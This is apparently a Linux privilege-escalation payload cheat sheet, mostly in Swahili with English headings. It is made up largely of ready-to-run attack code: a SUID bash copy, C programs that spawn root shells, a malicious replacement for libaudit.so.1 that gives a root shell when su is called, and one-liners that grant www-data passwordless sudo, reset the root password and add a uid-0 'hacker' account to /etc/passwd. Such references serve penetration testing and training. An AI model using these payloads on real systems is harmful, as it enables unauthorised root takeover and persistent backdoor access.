Payloads to execute

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Bash

cp /bin/bash /tmp/b && chmod +s /tmp/b
/bin/b -p #Maintains root privileges from suid, working in debian & buntu

C

//gcc payload.c -o payload
int main(void){
setresuid(0, 0, 0); //Set as user suid user
system("/bin/sh");
return 0;
}

//gcc payload.c -o payload
#include <stdio.h>
#include <unistd.h>
#include <sys/types.h>

int main(){
setuid(getuid());
system("/bin/bash");
return 0;
}

// Privesc to user id: 1000
#define _GNU_SOURCE
#include <stdlib.h>
#include <unistd.h>

int main(void) {
char *const paramList[10] = {"/bin/bash", "-p", NULL};
const int id = 1000;
setresuid(id, id, id);
execve(paramList[0], paramList, NULL);
return 0;
}

Kuandika tena faili ili kupandisha mamlaka

Faili za kawaida

• Ongeza mtumiaji mwenye nenosiri kwenye /etc/passwd
• Badilisha nenosiri ndani ya /etc/shadow
• Ongeza mtumiaji kwenye sudoers katika /etc/sudoers
• Tumia docker kupitia socket ya docker, kawaida katika /run/docker.sock au /var/run/docker.sock

Kuandika tena maktaba

Angalia maktaba inayotumiwa na binary fulani, katika kesi hii /bin/su:

ldd /bin/su
linux-vdso.so.1 (0x00007ffef06e9000)
libpam.so.0 => /lib/x86_64-linux-gnu/libpam.so.0 (0x00007fe473676000)
libpam_misc.so.0 => /lib/x86_64-linux-gnu/libpam_misc.so.0 (0x00007fe473472000)
libaudit.so.1 => /lib/x86_64-linux-gnu/libaudit.so.1 (0x00007fe473249000)
libc.so.6 => /lib/x86_64-linux-gnu/libc.so.6 (0x00007fe472e58000)
libdl.so.2 => /lib/x86_64-linux-gnu/libdl.so.2 (0x00007fe472c54000)
libcap-ng.so.0 => /lib/x86_64-linux-gnu/libcap-ng.so.0 (0x00007fe472a4f000)
/lib64/ld-linux-x86-64.so.2 (0x00007fe473a93000)

Katika kesi hii, hebu jaribu kujifanya kuwa /lib/x86_64-linux-gnu/libaudit.so.1.
Hivyo, angalia kazi za maktaba hii zinazotumiwa na su binary:

objdump -T /bin/su | grep audit
0000000000000000      DF *UND*  0000000000000000              audit_open
0000000000000000      DF *UND*  0000000000000000              audit_log_user_message
0000000000000000      DF *UND*  0000000000000000              audit_log_acct_message
000000000020e968 g    DO .bss   0000000000000004  Base        audit_fd

Alama audit_open, audit_log_acct_message, audit_log_acct_message na audit_fd huenda zinatoka kwenye maktaba ya libaudit.so.1. Kwa kuwa libaudit.so.1 itabadilishwa na maktaba ya pamoja yenye uharibifu, alama hizi zinapaswa kuwepo kwenye maktaba mpya ya pamoja, vinginevyo programu haitakuwa na uwezo wa kupata alama hiyo na itatoka.

#include<stdio.h>
#include<stdlib.h>
#include<unistd.h>

//gcc -shared -o /lib/x86_64-linux-gnu/libaudit.so.1 -fPIC inject.c

int audit_open;
int audit_log_acct_message;
int audit_log_user_message;
int audit_fd;

void inject()__attribute__((constructor));

void inject()
{
setuid(0);
setgid(0);
system("/bin/bash");
}

Sasa, kwa kuita /bin/su utapata shell kama root.

Scripts

Je, unaweza kumfanya root akatekeleze kitu?

www-data kwa sudoers

echo 'chmod 777 /etc/sudoers && echo "www-data ALL=NOPASSWD:ALL" >> /etc/sudoers && chmod 440 /etc/sudoers' > /tmp/update

Badilisha nenosiri la mzizi

echo "root:hacked" | chpasswd

Ongeza mtumiaji mpya wa root kwenye /etc/passwd

echo hacker:$((mkpasswd -m SHA-512 myhackerpass || openssl passwd -1 -salt mysalt myhackerpass || echo '$1$mysalt$7DTZJIc9s6z60L6aj0Sui.') 2>/dev/null):0:0::/:/bin/bash >> /etc/passwd